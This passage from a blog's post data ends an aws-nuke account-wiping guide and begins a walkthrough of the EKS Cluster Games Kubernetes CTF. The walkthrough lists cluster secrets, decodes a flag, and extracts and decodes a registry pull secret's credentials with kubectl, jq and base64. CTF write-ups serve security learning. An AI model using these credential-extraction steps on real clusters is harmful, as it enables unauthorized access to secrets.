style=\"color:#96D0FF\"\u003eglobal\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccount-blocklist\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"888888888888\"\u003c/span\u003e\u003cspan style=\"color:#768390\"\u003e # production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003epresets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e sso\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e filters\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e _DEFAULT_FILTERS\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x26;\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"DO_NOT_DELETE\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003etype\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"contains\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e value\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"AWSReservedSSO\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRole\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e IAMRolePolicyAttachment\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eDEFAULT\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"777777777777\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"presets\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esso\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhen you run this you should see now the resources we want to keep are filtered\nout:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IAMSAMLProvider\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arn:aws:iam::777777777777:saml-provider/AWSSSO_254abb4071f10b25_DO_NOT_DELETE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e filtered\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e by\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce you are ready and have your filters in place you can run it for real!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws-nuke\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nuke.yaml\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --no-dry-run\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eNext steps\u003c/h1\u003e\n\u003cp\u003eOne final note about it is that it does not understand the relationship between\nresources and so it could try deleting an EBS volume that is still in use by an\nEC2 instance. There is not a great solution for this outside of running nuke a\nfew times.\u003c/p\u003e\n\u003cp\u003eThe tool is well documented and so you can find the rest of the information by going to\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003ehttps://github.com/rebuy-de/aws-nuke\u003c/a\u003e!\u003c/p\u003e","category":"AWS","date":"2023-06-22T00:00:00Z","tags":["AWS","DevOps","SRE"],"title":"Wiping an AWS Account with aws-nuke"}]},"Security":{"count":1,"posts":[{"id":["2023","eks_cluster_games_ctf"],"path":"2023/eks_cluster_games_ctf","contentHtml":"\u003cp\u003e\u003ca href=\"https://eksclustergames.com\"\u003eeksclustergames.com\u003c/a\u003e is a new CTF targeted at\nkubernetes vulnerabilities. This is a walk through on how to solve the issues.\u003c/p\u003e\n\u003ch1\u003eChallenge 1\u003c/h1\u003e\n\u003cp\u003eThe first challenge starts off with a clue:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eJumpstart your quest by listing all the secrets in the cluster.\nCan you spot the flag among them?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us start off by getting the secrets:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TYPE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e DATA\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003elog-rotate\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Opaque\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 37h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSince there is only one, let us view it!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"items\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"data\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"flag\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"d2l6X2Vrc19jaGFsbGVuZ2V7b21nX292ZXJfcHJpdmlsZWdlZF9zZWNyZXRfYWNjZXNzfQ==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T13:02:08Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"log-rotate\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"890951\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"03f6372c-b728-4c5b-ad28-70d5af8d387c\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe flag seems to be in \u003ccode\u003e.items[0].data.flag\u003c/code\u003e and is \u003ccode\u003ebase64\u003c/code\u003e encoded so we can\ndecode it as well:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e base64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{omg_over_privileged_*REDACTED*}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eFirst flag found!\u003c/p\u003e\n\u003cp\u003eThis one was definitely a softball but it gets you nice and warmed up on the\nplatform.\u003c/p\u003e\n\u003ch1\u003eChallenge 2\u003c/h1\u003e\n\u003cp\u003eThe hint for this challenge is:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eA thing we learned during our research: always check the container registries.\n\nFor your convenience, the crane utility is already pre-installed on the machine.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe first thing I think of when reading this is that it has something to do\nwith the registry a pod is living on. So let us list the pods and see what is\navailable:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edatabase-pod-2c9b3a4e\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 36h\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWith only one pod as a target, let us get the image for it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e\"eksclustergames/base_ext_image\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo it is on standard \u003ccode\u003edocker.io\u003c/code\u003e registry instead of a private one like I was\nexpecting from the clue. The second hint was that crane is on the system so\nlet us use that to pull the image and inspect it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eksclustergames/base_ext_image\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e fetching\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e config:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e reading\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e image\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"eksclustergames/base_ext_image\":\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GET\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e https://index.docker.io/v2/eksclustergames/base_ext_image/manifests/latest:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e UNAUTHORIZED:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authentication\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e required\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e; [map[Action:pull Class: Name:eksclustergames/base_ext_image Type:repository]]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich means this is a private image and we are going to need to get some\ncredentials to an account that has access to this image. Usually you have to\ndefine a secret for kubernetes to be able to pull from private registries and\nsince we started off with a secret test first that is where I am going to go\nnext:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].spec.imagePullSecrets'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e[\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"registry-pull-secrets-780bab1d\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo that is the secret we need, let us view it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e registry-pull-secrets-780bab1d\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.data.\".dockerconfigjson\"'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"auths\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"index.docker.io/v1/\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"auth\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"ZWtzY2x1c3RlcmdhbWVzOmRj\u0026#x3C;*REDACTED*\u003e200bHI0NWlZUWo4RnVDbw==\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eLooks like we have got some more base64 decoding for the actual auth credentials:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" 